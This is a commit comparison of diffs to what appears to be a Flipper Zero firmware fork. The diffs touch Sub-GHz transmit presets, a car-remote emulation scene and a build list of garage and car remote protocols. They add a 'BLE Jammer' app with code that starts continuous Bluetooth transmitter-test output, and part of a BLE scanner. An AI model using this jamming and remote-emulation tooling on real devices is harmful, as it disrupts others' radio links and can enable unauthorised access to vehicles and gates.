Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
56701a815b | ||
|
|
833c9ad29b | ||
|
|
8117e422d0 | ||
|
|
a483f253c7 | ||
|
|
f71813e1c1 | ||
|
|
656c92128f | ||
|
|
b681cc919e |
@@ -311,9 +311,32 @@ SubGhzTxRxStartTxState subghz_txrx_tx_start(SubGhzTxRx* instance, FlipperFormat*
|
||||
}
|
||||
ret = SubGhzTxRxStartTxStateOk;
|
||||
|
||||
const char* protocol_name = furi_string_get_cstr(temp_str);
|
||||
const SubGhzProtocolCatalogEntry* catalog_entry =
|
||||
subghz_protocol_catalog_find(protocol_name);
|
||||
if(catalog_entry && catalog_entry->route_policy != SubGhzProtocolCatalogRoutePolicyByModulation) {
|
||||
const char* expected_preset =
|
||||
subghz_protocol_catalog_route_to_preset_name(
|
||||
subghz_protocol_catalog_get_route(
|
||||
furi_string_get_cstr(instance->preset->name),
|
||||
instance->preset->frequency,
|
||||
instance->preset->data,
|
||||
instance->preset->data_size,
|
||||
protocol_name));
|
||||
if(strcmp(furi_string_get_cstr(instance->preset->name), expected_preset) != 0) {
|
||||
furi_string_set_str(instance->preset->name, expected_preset);
|
||||
size_t preset_idx = subghz_setting_get_inx_preset_by_name(
|
||||
instance->setting, expected_preset);
|
||||
instance->preset->data =
|
||||
subghz_setting_get_preset_data(instance->setting, preset_idx);
|
||||
instance->preset->data_size =
|
||||
subghz_setting_get_preset_data_size(instance->setting, preset_idx);
|
||||
}
|
||||
}
|
||||
|
||||
SubGhzRadioPreset* preset = instance->preset;
|
||||
instance->transmitter =
|
||||
subghz_transmitter_alloc_init(instance->environment, furi_string_get_cstr(temp_str));
|
||||
subghz_transmitter_alloc_init(instance->environment, protocol_name);
|
||||
|
||||
if(instance->transmitter) {
|
||||
if(subghz_transmitter_deserialize(instance->transmitter, flipper_format) ==
|
||||
@@ -567,7 +590,15 @@ static void subghz_txrx_apply_preset_fast(
|
||||
const PresetDeltaEntry* e = &preset_delta_table[from_idx][to_idx];
|
||||
furi_hal_subghz_apply_preset_delta(e->delta, e->delta_len, e->needs_scal, e->pa_table);
|
||||
} else {
|
||||
// Fallback: original behavior (full reload)
|
||||
// Fallback: full reload. If the modulation itself changed (AM<->FM), reset the
|
||||
// radio first so the new preset isn't applied on top of stale modulation state.
|
||||
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
|
||||
bool new_is_am = (strstr(preset_name, "AM") != NULL);
|
||||
bool modulation_changed = (old_is_am != new_is_am);
|
||||
|
||||
if(modulation_changed) {
|
||||
subghz_devices_reset(instance->radio_device);
|
||||
}
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device, FuriHalSubGhzPresetCustom, instance->preset->data);
|
||||
}
|
||||
|
||||
@@ -189,7 +189,7 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
|
||||
stream_copy_full(src, dst);
|
||||
stream_seek(dst, 0, StreamOffsetFromStart);
|
||||
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulate);
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
#include "assets_icons.h"
|
||||
#include "subghz/types.h"
|
||||
#include <lib/subghz/protocols/protocol_items.h>
|
||||
#include <furi.h>
|
||||
#include <notification/notification.h>
|
||||
#include <notification/notification_messages.h>
|
||||
@@ -157,6 +158,13 @@ bool subghz_key_load(SubGhz* subghz, const char* file_path, bool show_dialog) {
|
||||
break;
|
||||
}
|
||||
|
||||
const char* protocol_display =
|
||||
subghz_protocol_catalog_display_name(
|
||||
furi_string_get_cstr(temp_str), temp_data32);
|
||||
if(protocol_display) {
|
||||
FURI_LOG_D(TAG, "Protocol display name: %s", protocol_display);
|
||||
}
|
||||
|
||||
FlipperFormat* fff_data = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
if(!strcmp(furi_string_get_cstr(temp_str), "RAW")) {
|
||||
//if RAW
|
||||
|
||||
@@ -56,24 +56,58 @@ App(
|
||||
"protocols/keys.c",
|
||||
"protocols/alutech_at_4n.c",
|
||||
"protocols/beninca_arc.c",
|
||||
"protocols/bett.c",
|
||||
"protocols/bin_raw.c",
|
||||
"protocols/came.c",
|
||||
"protocols/came_atomo.c",
|
||||
"protocols/came_twee.c",
|
||||
"protocols/chamberlain_code.c",
|
||||
"protocols/clemsa.c",
|
||||
"protocols/dickert_mahs.c",
|
||||
"protocols/doitrand.c",
|
||||
"protocols/dooya.c",
|
||||
"protocols/elplast.c",
|
||||
"protocols/faac_slh.c",
|
||||
"protocols/feron.c",
|
||||
"protocols/gangqi.c",
|
||||
"protocols/gate_tx.c",
|
||||
"protocols/hay21.c",
|
||||
"protocols/hollarm.c",
|
||||
"protocols/holtek.c",
|
||||
"protocols/holtek_ht12x.c",
|
||||
"protocols/honeywell.c",
|
||||
"protocols/honeywell_wdb.c",
|
||||
"protocols/hormann.c",
|
||||
"protocols/ido.c",
|
||||
"protocols/intertechno_v3.c",
|
||||
"protocols/jarolift.c",
|
||||
"protocols/keeloq.c",
|
||||
"protocols/keyfinder.c",
|
||||
"protocols/kinggates_stylo_4k.c",
|
||||
"protocols/legrand.c",
|
||||
"protocols/linear.c",
|
||||
"protocols/linear_delta3.c",
|
||||
"protocols/magellan.c",
|
||||
"protocols/marantec.c",
|
||||
"protocols/marantec24.c",
|
||||
"protocols/mastercode.c",
|
||||
"protocols/megacode.c",
|
||||
"protocols/nero_radio.c",
|
||||
"protocols/nero_sketch.c",
|
||||
"protocols/nice_flo.c",
|
||||
"protocols/nice_flor_s.c",
|
||||
"protocols/phoenix_v2.c",
|
||||
"protocols/power_smart.c",
|
||||
"protocols/princeton.c",
|
||||
"protocols/raw.c",
|
||||
"protocols/revers_rb2.c",
|
||||
"protocols/roger.c",
|
||||
"protocols/secplus_v1.c",
|
||||
"protocols/secplus_v2.c",
|
||||
"protocols/smc5326.c",
|
||||
"protocols/somfy_keytis.c",
|
||||
"protocols/somfy_telis.c",
|
||||
"protocols/treadmill37.c",
|
||||
],
|
||||
fal_embedded=True,
|
||||
)
|
||||
|
||||
@@ -255,7 +255,7 @@ static void subghz_protocol_hay21_remote_controller(SubGhzBlockGeneric* instance
|
||||
//1877BD = 000 11000011 10111101 1110 1
|
||||
//0B57BF = 000 01011010 10111101 1111 1
|
||||
}
|
||||
|
||||
}
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_hay21_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
|
||||
@@ -27,32 +27,7 @@ static const InputKey EMULATE_TOGGLE_COMBO[] = {
|
||||
static const char* credits[] = {
|
||||
"",
|
||||
"-=> App Development by",
|
||||
"RocketGod",
|
||||
"MMX",
|
||||
"Leeroy",
|
||||
"gullradriel",
|
||||
"Skorp's Weather App",
|
||||
"Vadim's Radio Driver",
|
||||
"-=> Protocol Magic by",
|
||||
"L0rdDiakon",
|
||||
"Leeroy",
|
||||
"Li0ard",
|
||||
"MMX",
|
||||
"YougZ",
|
||||
"DoobTheGoober",
|
||||
"RocketGod",
|
||||
"Skorp",
|
||||
"Slackware",
|
||||
"Trikk",
|
||||
"Wootini",
|
||||
"-=> RE Support",
|
||||
"DoobTheGoober",
|
||||
"Li0ard",
|
||||
"MMX",
|
||||
"NeedNotApply",
|
||||
"RocketGod",
|
||||
"Slackware",
|
||||
"Trikk",
|
||||
"The community with <3",
|
||||
// can add more
|
||||
};
|
||||
|
||||
@@ -93,7 +68,7 @@ static void about_draw_callback(Canvas* canvas, void* context) {
|
||||
canvas, 64, 18, AlignCenter, AlignBottom, ">>>=================<<<");
|
||||
} else {
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 18, AlignCenter, AlignBottom, ">>>======[TPP]======<<<");
|
||||
canvas, 64, 18, AlignCenter, AlignBottom, ">>>=================<<<");
|
||||
}
|
||||
|
||||
// Draw credits region (clip area)
|
||||
@@ -136,7 +111,7 @@ static void about_draw_callback(Canvas* canvas, void* context) {
|
||||
canvas, 64, 18, AlignCenter, AlignBottom, ">>>=================<<<");
|
||||
} else {
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 18, AlignCenter, AlignBottom, ">>>======[TPP]======<<<");
|
||||
canvas, 64, 18, AlignCenter, AlignBottom, ">>>=================<<<");
|
||||
}
|
||||
|
||||
// Redraw static in header area
|
||||
@@ -147,7 +122,7 @@ static void about_draw_callback(Canvas* canvas, void* context) {
|
||||
|
||||
// Footer: The Pirate's Plunder Discord
|
||||
canvas_set_font(canvas, FontKeyboard);
|
||||
canvas_draw_str_aligned(canvas, 127, 62, AlignRight, AlignBottom, "discord.gg/thepirates");
|
||||
canvas_draw_str_aligned(canvas, 127, 62, AlignRight, AlignBottom, "");
|
||||
|
||||
// Rare subtle glitch bar
|
||||
if(rand() % 30 == 0) {
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
App(
|
||||
appid="ble_jammer",
|
||||
name="BLE Jammer",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="ble_jammer_app",
|
||||
stack_size=1024,
|
||||
fap_icon="icon.png",
|
||||
fap_category="Bluetooth",
|
||||
fap_icon_assets="images",
|
||||
fap_author="W0rthlessS0ul (ported by d4rks1d3)",
|
||||
fap_weburl="https://github.com/W0rthlessS0ul/FZ_nRF24_jammer",
|
||||
fap_version="1.4.0",
|
||||
)
|
||||
@@ -0,0 +1,63 @@
|
||||
#include "hci_test.h"
|
||||
#include <string.h>
|
||||
|
||||
struct hci_request {
|
||||
uint16_t ogf;
|
||||
uint16_t ocf;
|
||||
int event;
|
||||
void* cparam;
|
||||
int clen;
|
||||
void* rparam;
|
||||
int rlen;
|
||||
};
|
||||
|
||||
extern int hci_send_req(struct hci_request* req, uint8_t async);
|
||||
|
||||
#define HCI_OGF_LE 0x08
|
||||
#define HCI_OCF_LE_TRANSMITTER_TEST 0x001E
|
||||
#define HCI_OCF_LE_TEST_END 0x001F
|
||||
|
||||
int hci_test_tx_start(uint8_t rf_channel, uint8_t packet_type) {
|
||||
struct hci_request req;
|
||||
uint8_t params[3];
|
||||
uint8_t status;
|
||||
|
||||
memset(&req, 0, sizeof(req));
|
||||
params[0] = rf_channel;
|
||||
params[1] = 37;
|
||||
params[2] = packet_type;
|
||||
|
||||
req.ogf = HCI_OGF_LE;
|
||||
req.ocf = HCI_OCF_LE_TRANSMITTER_TEST;
|
||||
req.cparam = params;
|
||||
req.clen = sizeof(params);
|
||||
req.rparam = &status;
|
||||
req.rlen = 1;
|
||||
|
||||
if(hci_send_req(&req, 0) < 0) return -1;
|
||||
return (status == 0) ? 0 : -1;
|
||||
}
|
||||
|
||||
int hci_test_stop(void) {
|
||||
struct hci_request req;
|
||||
uint8_t resp[3];
|
||||
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.ogf = HCI_OGF_LE;
|
||||
req.ocf = HCI_OCF_LE_TEST_END;
|
||||
req.cparam = NULL;
|
||||
req.clen = 0;
|
||||
req.rparam = resp;
|
||||
req.rlen = sizeof(resp);
|
||||
|
||||
if(hci_send_req(&req, 0) < 0) return -1;
|
||||
return (resp[0] == 0) ? 0 : -1;
|
||||
}
|
||||
|
||||
int hci_test_nrf24_to_ble_ch(uint8_t nrf24_ch, int* ble_ch) {
|
||||
if(nrf24_ch < 2) return -1;
|
||||
int freq_mhz = 2400 + nrf24_ch;
|
||||
if(freq_mhz < 2402 || freq_mhz > 2480) return -1;
|
||||
*ble_ch = (nrf24_ch - 2) / 2;
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
int hci_test_tx_start(uint8_t rf_channel, uint8_t packet_type);
|
||||
int hci_test_stop(void);
|
||||
int hci_test_nrf24_to_ble_ch(uint8_t nrf24_ch, int* ble_ch);
|
||||
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 999 B |
|
After Width: | Height: | Size: 608 B |
|
After Width: | Height: | Size: 581 B |
|
After Width: | Height: | Size: 675 B |
|
After Width: | Height: | Size: 645 B |
|
After Width: | Height: | Size: 757 B |
|
After Width: | Height: | Size: 739 B |
|
After Width: | Height: | Size: 686 B |
|
After Width: | Height: | Size: 662 B |
|
After Width: | Height: | Size: 650 B |
|
After Width: | Height: | Size: 599 B |
|
After Width: | Height: | Size: 600 B |
|
After Width: | Height: | Size: 648 B |
|
After Width: | Height: | Size: 594 B |
|
After Width: | Height: | Size: 535 B |
|
After Width: | Height: | Size: 722 B |
|
After Width: | Height: | Size: 685 B |
@@ -0,0 +1,17 @@
|
||||
App(
|
||||
appid="ble_scanner",
|
||||
name="BLE Scanner",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="ble_scanner_app",
|
||||
stack_size=4 * 1024,
|
||||
fap_category="Bluetooth",
|
||||
fap_libs=["ble_central"],
|
||||
requires=["gui"],
|
||||
sources=[
|
||||
"ble_scanner.c",
|
||||
],
|
||||
fap_author="d4rks1d3",
|
||||
fap_weburl="https://github.com/d4rks1d3",
|
||||
fap_version="0.1",
|
||||
fap_description="Scan and display nearby BLE devices (phones, headphones, etc.)",
|
||||
)
|
||||
@@ -0,0 +1,444 @@
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/modules/submenu.h>
|
||||
#include <gui/modules/text_box.h>
|
||||
#include <lib/ble_central/ble_central.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "BleScanner"
|
||||
#define BLE_SCANNER_MAX_DEVICES 32
|
||||
#define BLE_SCANNER_NAME_MAX_LEN 32
|
||||
|
||||
typedef struct {
|
||||
uint32_t prefix;
|
||||
const char* vendor;
|
||||
} OuiEntry;
|
||||
|
||||
static const OuiEntry oui_table[] = {
|
||||
{0x70B5E8, "ZTE"},
|
||||
{0x8CD3A8, "Xiaomi"},
|
||||
{0x9CE338, "Xiaomi"},
|
||||
{0x48E7DA, "Xiaomi"},
|
||||
{0x04CF8C, "Xiaomi"},
|
||||
{0x6802B8, "Xiaomi"},
|
||||
{0xA4C138, "Xiaomi"},
|
||||
{0xF8A45F, "Xiaomi"},
|
||||
{0x30C6F7, "Xiaomi"},
|
||||
{0xCCE7DF, "Xiaomi"},
|
||||
{0xACA220, "Xiaomi"},
|
||||
{0x18A6F7, "Samsung"},
|
||||
{0x2C54CF, "Samsung"},
|
||||
{0x5CF9DD, "Samsung"},
|
||||
{0x8C8EF2, "Samsung"},
|
||||
{0x9C2A70, "Samsung"},
|
||||
{0xA40CC3, "Samsung"},
|
||||
{0xB8AD0E, "Samsung"},
|
||||
{0xCC3A61, "Samsung"},
|
||||
{0xE0B9BA, "Samsung"},
|
||||
{0xEC1FA6, "Samsung"},
|
||||
{0xF0B0E7, "Samsung"},
|
||||
{0x58500E, "Samsung"},
|
||||
{0x34C34C, "Samsung"},
|
||||
{0x3C7DB1, "Samsung"},
|
||||
{0xA88792, "Samsung"},
|
||||
{0xDC0B6C, "Samsung"},
|
||||
{0xE87DBD, "Samsung"},
|
||||
{0xAC5F3E, "Samsung"},
|
||||
{0x38C7BA, "Samsung"},
|
||||
{0x001122, "Apple"},
|
||||
{0x0025BC, "Apple"},
|
||||
{0x003065, "Apple"},
|
||||
{0x003F2E, "Apple"},
|
||||
{0x003F35, "Apple"},
|
||||
{0x00601C, "Apple"},
|
||||
{0x00719B, "Apple"},
|
||||
{0x00A040, "Apple"},
|
||||
{0x00D8E1, "Apple"},
|
||||
{0x04B133, "Apple"},
|
||||
{0x04E536, "Apple"},
|
||||
{0x08EBED, "Apple"},
|
||||
{0x0C3076, "Apple"},
|
||||
{0x0C9361, "Apple"},
|
||||
{0x10A932, "Apple"},
|
||||
{0x140D4F, "Apple"},
|
||||
{0x181F32, "Apple"},
|
||||
{0x1C36F3, "Apple"},
|
||||
{0x1C9272, "Apple"},
|
||||
{0x203565, "Apple"},
|
||||
{0x28CFE9, "Apple"},
|
||||
{0x2C200B, "Apple"},
|
||||
{0x2CF0A2, "Apple"},
|
||||
{0x30D366, "Apple"},
|
||||
{0x349A0D, "Apple"},
|
||||
{0x3820D1, "Apple"},
|
||||
{0x3C0754, "Apple"},
|
||||
{0x3CD0F8, "Apple"},
|
||||
{0x401D58, "Apple"},
|
||||
{0x44239C, "Apple"},
|
||||
{0x4843CD, "Apple"},
|
||||
{0x4C6B39, "Apple"},
|
||||
{0x54132F, "Apple"},
|
||||
{0x58676A, "Apple"},
|
||||
{0x5C34EF, "Apple"},
|
||||
{0x603B6E, "Apple"},
|
||||
{0x64A31B, "Apple"},
|
||||
{0x68AE20, "Apple"},
|
||||
{0x6C3BA1, "Apple"},
|
||||
{0x6C720E, "Apple"},
|
||||
{0x70D88E, "Apple"},
|
||||
{0x78A351, "Apple"},
|
||||
{0x7C11BE, "Apple"},
|
||||
{0x800017, "Apple"},
|
||||
{0x84968C, "Apple"},
|
||||
{0x88D51C, "Apple"},
|
||||
{0x8C8590, "Apple"},
|
||||
{0x8CDE52, "Apple"},
|
||||
{0x909FB9, "Apple"},
|
||||
{0x98FE94, "Apple"},
|
||||
{0xA095B0, "Apple"},
|
||||
{0xA4D1D2, "Apple"},
|
||||
{0xA8B84F, "Apple"},
|
||||
{0xB0487A, "Apple"},
|
||||
{0xB0B2DC, "Apple"},
|
||||
{0xB45987, "Apple"},
|
||||
{0xB89675, "Apple"},
|
||||
{0xBC1665, "Apple"},
|
||||
{0xC0B593, "Apple"},
|
||||
{0xC44B87, "Apple"},
|
||||
{0xC81A9E, "Apple"},
|
||||
{0xC8B5AD, "Apple"},
|
||||
{0xCC25EF, "Apple"},
|
||||
{0xD039B3, "Apple"},
|
||||
{0xD42C3A, "Apple"},
|
||||
{0xD44F82, "Apple"},
|
||||
{0xD8031F, "Apple"},
|
||||
{0xE062E6, "Apple"},
|
||||
{0xE0F5C6, "Apple"},
|
||||
{0xE8A7A7, "Apple"},
|
||||
{0xF0B0E8, "Apple"},
|
||||
{0xF0D1B9, "Apple"},
|
||||
{0xF47F35, "Apple"},
|
||||
{0xF8313E, "Apple"},
|
||||
{0xFC145E, "Apple"},
|
||||
{0xFC9F5E, "Apple"},
|
||||
{0xA03860, "Google"},
|
||||
{0x94885E, "Google"},
|
||||
{0x7483C2, "Google"},
|
||||
{0x643F5F, "Google"},
|
||||
{0x286AB8, "Google"},
|
||||
{0x1868CB, "Google"},
|
||||
{0x0CCD9F, "Google"},
|
||||
{0x60A4B7, "Google"},
|
||||
{0x14A764, "Google"},
|
||||
{0x8871E5, "Google"},
|
||||
{0x486C8C, "Google"},
|
||||
{0x24AB81, "Google"},
|
||||
{0x3C28A6, "Google"},
|
||||
{0xD0E178, "Google"},
|
||||
{0x2C5BE7, "Google"},
|
||||
{0x28B0CC, "Google"},
|
||||
{0x94A7B7, "Google"},
|
||||
{0xA44E2F, "Google"},
|
||||
{0x5C8FE6, "Google"},
|
||||
{0x3898D8, "Google"},
|
||||
{0x9CADEF, "Google"},
|
||||
{0x5859D5, "Google"},
|
||||
{0x30C7AE, "Google"},
|
||||
{0x18DED7, "Google"},
|
||||
{0x24A642, "Google"},
|
||||
{0x70781E, "Google"},
|
||||
{0x5C639C, "Google"},
|
||||
{0xD089E2, "Google"},
|
||||
{0x54E1AD, "Google"},
|
||||
{0x00C538, "Huawei"},
|
||||
{0x34C9F0, "Huawei"},
|
||||
{0x0C5A9B, "Huawei"},
|
||||
{0xCCF1A0, "Huawei"},
|
||||
{0x3075B0, "Huawei"},
|
||||
{0x18E7F4, "Huawei"},
|
||||
{0xFCBDE8, "Huawei"},
|
||||
{0xF8CEBA, "Huawei"},
|
||||
{0x98039B, "Huawei"},
|
||||
{0x704834, "Huawei"},
|
||||
{0x50B8A2, "Huawei"},
|
||||
{0x44D9E7, "Huawei"},
|
||||
{0xD46A10, "Huawei"},
|
||||
{0x00EDB9, "Sony"},
|
||||
{0x18264E, "Sony"},
|
||||
{0x2053CA, "Sony"},
|
||||
{0x4C0F9E, "Sony"},
|
||||
{0x5C515E, "Sony"},
|
||||
{0x700BC7, "Sony"},
|
||||
{0x9019D9, "Sony"},
|
||||
{0xF44B2A, "Sony"},
|
||||
{0xFCA59C, "Sony"},
|
||||
{0x385E9B, "Sony"},
|
||||
{0x5C9AD8, "Sony"},
|
||||
{0x2CAB25, "Sony"},
|
||||
{0x3816D1, "Sony"},
|
||||
{0x5863F6, "Sony"},
|
||||
{0x5084C2, "Sony"},
|
||||
{0x68DB54, "Sony"},
|
||||
{0x001CDF, "OnePlus"},
|
||||
{0x00503D, "Intel"},
|
||||
{0x00237B, "Intel"},
|
||||
{0x0030D7, "Motorola"},
|
||||
{0x00D0A9, "LG"},
|
||||
{0x886B76, "LG"},
|
||||
{0x482C71, "LG"},
|
||||
{0xC8F733, "LG"},
|
||||
{0x38B12D, "LG"},
|
||||
{0x9815A4, "LG"},
|
||||
{0xECF236, "LG"},
|
||||
{0x605718, "LG"},
|
||||
{0x682C7B, "LG"},
|
||||
{0x4851B7, "Bose"},
|
||||
{0x042C97, "Bose"},
|
||||
{0x00A050, "Bose"},
|
||||
{0x74EF7E, "Bose"},
|
||||
{0xF872EA, "Bose"},
|
||||
{0x382565, "Bose"},
|
||||
{0x00E06C, "JBL/Harman"},
|
||||
{0x2CDD0C, "JBL/Harman"},
|
||||
{0x64A6E6, "JBL/Harman"},
|
||||
{0x8C6B97, "JBL/Harman"},
|
||||
{0xF81D93, "JBL/Harman"},
|
||||
{0x38F7D2, "JBL/Harman"},
|
||||
{0x504A5E, "JBL/Harman"},
|
||||
{0xE039D7, "JBL/Harman"},
|
||||
{0x34DF2A, "Sennheiser"},
|
||||
{0x1CE63B, "Sennheiser"},
|
||||
{0x001C4A, "Plantronics"},
|
||||
{0x5C4A9E, "Plantronics"},
|
||||
{0x6C8336, "Plantronics"},
|
||||
{0x801F02, "Plantronics"},
|
||||
{0x00D02D, "Nest/Google"},
|
||||
{0x18B430, "Nest/Google"},
|
||||
{0x64DBA0, "Nest/Google"},
|
||||
{0x7CC5A1, "Nest/Google"},
|
||||
{0xB839D4, "Nest/Google"},
|
||||
{0x00258A, "Roku"},
|
||||
{0x00A0D2, "Roku"},
|
||||
{0x005AA0, "Roku"},
|
||||
{0x38062C, "Roku"},
|
||||
{0x400B20, "Roku"},
|
||||
{0x9CEBE8, "Roku"},
|
||||
{0x0025E0, "Raspberry Pi"},
|
||||
{0xB827EB, "Raspberry Pi"},
|
||||
{0xDCA632, "Raspberry Pi"},
|
||||
{0xE45F01, "Raspberry Pi"},
|
||||
{0x287184, "Fitbit"},
|
||||
{0x48D638, "Fitbit"},
|
||||
{0x68372D, "Fitbit"},
|
||||
{0x883AA3, "Fitbit"},
|
||||
{0xAAF191, "Fitbit"},
|
||||
{0xD8DCB5, "Fitbit"},
|
||||
{0x00D8D7, "Garmin"},
|
||||
{0x182666, "Garmin"},
|
||||
{0x4C8AEE, "Garmin"},
|
||||
{0x5C3A6D, "Garmin"},
|
||||
{0x447E95, "Garmin"},
|
||||
{0x68572D, "Garmin"},
|
||||
{0x6C88D5, "Garmin"},
|
||||
{0x90CF33, "Garmin"},
|
||||
{0xB815F0, "Garmin"},
|
||||
{0xB8921D, "Garmin"},
|
||||
{0x0023AE, "Nokia"},
|
||||
{0x644BC7, "Nokia"},
|
||||
{0x14B17C, "Nokia"},
|
||||
{0x289124, "Nokia"},
|
||||
{0x482C6C, "Nokia"},
|
||||
{0x4C3463, "Nokia"},
|
||||
{0x802CA5, "Nokia"},
|
||||
{0x84261F, "Nokia"},
|
||||
{0x8C4D3E, "Nokia"},
|
||||
{0xBC6373, "Nokia"},
|
||||
{0xC8628B, "Nokia"},
|
||||
{0x08229B, "Oculus/Meta"},
|
||||
{0xCCA52A, "Oculus/Meta"},
|
||||
{0x0CD6BD, "Oculus/Meta"},
|
||||
{0x3871C5, "Oculus/Meta"},
|
||||
{0xFC5CEF, "Oculus/Meta"},
|
||||
{0x6CB06E, "Oculus/Meta"},
|
||||
{0xE020E0, "Oculus/Meta"},
|
||||
{0x3010A4, "Oculus/Meta"},
|
||||
{0x00140A, "Microsoft"},
|
||||
{0x00061B, "Microsoft"},
|
||||
{0x0025AE, "Microsoft"},
|
||||
{0x04A316, "Microsoft"},
|
||||
{0x181804, "Microsoft"},
|
||||
{0x1C6568, "Microsoft"},
|
||||
{0x287184, "Microsoft"},
|
||||
{0x44DF65, "Microsoft"},
|
||||
{0x48D6D5, "Microsoft"},
|
||||
{0x503EAA, "Microsoft"},
|
||||
{0x60C5A8, "Microsoft"},
|
||||
{0x64167F, "Microsoft"},
|
||||
{0x7C1E52, "Microsoft"},
|
||||
{0x8490AD, "Microsoft"},
|
||||
{0x986DC0, "Microsoft"},
|
||||
{0xA088B4, "Microsoft"},
|
||||
{0x38700C, "TP-Link"},
|
||||
{0x50C7BF, "TP-Link"},
|
||||
{0x64D98B, "TP-Link"},
|
||||
{0x84D46B, "TP-Link"},
|
||||
{0xC02506, "TP-Link"},
|
||||
{0xEC2280, "TP-Link"},
|
||||
{0x001848, "Espressif"},
|
||||
{0x18FE34, "Espressif"},
|
||||
{0x24B2DE, "Espressif"},
|
||||
{0x24E7C5, "Espressif"},
|
||||
{0x24818D, "Espressif"},
|
||||
{0x30AEA4, "Espressif"},
|
||||
{0x3C71BF, "Espressif"},
|
||||
{0x40F520, "Espressif"},
|
||||
{0x5CE3B6, "Espressif"},
|
||||
{0x68C63A, "Espressif"},
|
||||
{0x84CCA8, "Espressif"},
|
||||
{0x84F3EB, "Espressif"},
|
||||
{0x8C2DAA, "Espressif"},
|
||||
{0x8C7B9D, "Espressif"},
|
||||
{0xA4611B, "Espressif"},
|
||||
{0xAC67B2, "Espressif"},
|
||||
{0xB4E62D, "Espressif"},
|
||||
{0xC8F09E, "Espressif"},
|
||||
{0xCC50E3, "Espressif"},
|
||||
{0xDC4F22, "Espressif"},
|
||||
{0xE0B9A5, "Espressif"},
|
||||
{0xECFA5C, "Espressif"},
|
||||
{0xF4CFA2, "Espressif"},
|
||||
};
|
||||
|
||||
static const char* ble_scanner_lookup_oui(const uint8_t* addr) {
|
||||
uint32_t prefix = ((uint32_t)addr[0] << 16) | ((uint32_t)addr[1] << 8) | addr[2];
|
||||
for(size_t i = 0; i < COUNT_OF(oui_table); i++) {
|
||||
if(oui_table[i].prefix == prefix) return oui_table[i].vendor;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
char name[BLE_SCANNER_NAME_MAX_LEN];
|
||||
uint8_t address[6];
|
||||
int8_t rssi;
|
||||
uint8_t address_type;
|
||||
} BleScannerDevice;
|
||||
|
||||
typedef enum {
|
||||
BleScannerView_Submenu,
|
||||
BleScannerView_TextBox,
|
||||
} BleScannerView;
|
||||
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
Submenu* submenu;
|
||||
TextBox* text_box;
|
||||
|
||||
BleScannerDevice devices[BLE_SCANNER_MAX_DEVICES];
|
||||
size_t device_count;
|
||||
|
||||
FuriString* log_text;
|
||||
} BleScannerApp;
|
||||
|
||||
static void ble_scanner_central_callback(BleCentralEventType event, void* device, void* context) {
|
||||
BleScannerApp* app = context;
|
||||
|
||||
if(event == BleCentralEventDeviceFound) {
|
||||
BleCentralAdvertisedDevice* adv = device;
|
||||
if(app->device_count < BLE_SCANNER_MAX_DEVICES) {
|
||||
BleScannerDevice* dev = &app->devices[app->device_count];
|
||||
strncpy(dev->name, adv->name, BLE_SCANNER_NAME_MAX_LEN - 1);
|
||||
dev->name[BLE_SCANNER_NAME_MAX_LEN - 1] = '\0';
|
||||
memcpy(dev->address, adv->address, 6);
|
||||
dev->rssi = adv->rssi;
|
||||
dev->address_type = adv->address_type;
|
||||
app->device_count++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool ble_scanner_back_event_callback(void* context) {
|
||||
UNUSED(context);
|
||||
return false;
|
||||
}
|
||||
|
||||
static BleScannerApp* ble_scanner_app_alloc(void) {
|
||||
BleScannerApp* app = malloc(sizeof(BleScannerApp));
|
||||
memset(app, 0, sizeof(BleScannerApp));
|
||||
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
view_dispatcher_set_navigation_event_callback(app->view_dispatcher, ble_scanner_back_event_callback);
|
||||
|
||||
app->submenu = submenu_alloc();
|
||||
view_dispatcher_add_view(app->view_dispatcher, BleScannerView_Submenu, submenu_get_view(app->submenu));
|
||||
|
||||
app->text_box = text_box_alloc();
|
||||
view_dispatcher_add_view(app->view_dispatcher, BleScannerView_TextBox, text_box_get_view(app->text_box));
|
||||
|
||||
app->log_text = furi_string_alloc();
|
||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
static void ble_scanner_app_free(BleScannerApp* app) {
|
||||
furi_string_free(app->log_text);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, BleScannerView_Submenu);
|
||||
submenu_free(app->submenu);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, BleScannerView_TextBox);
|
||||
text_box_free(app->text_box);
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
furi_record_close(RECORD_GUI);
|
||||
free(app);
|
||||
}
|
||||
|
||||
int32_t ble_scanner_app(void* p) {
|
||||
UNUSED(p);
|
||||
BleScannerApp* app = ble_scanner_app_alloc();
|
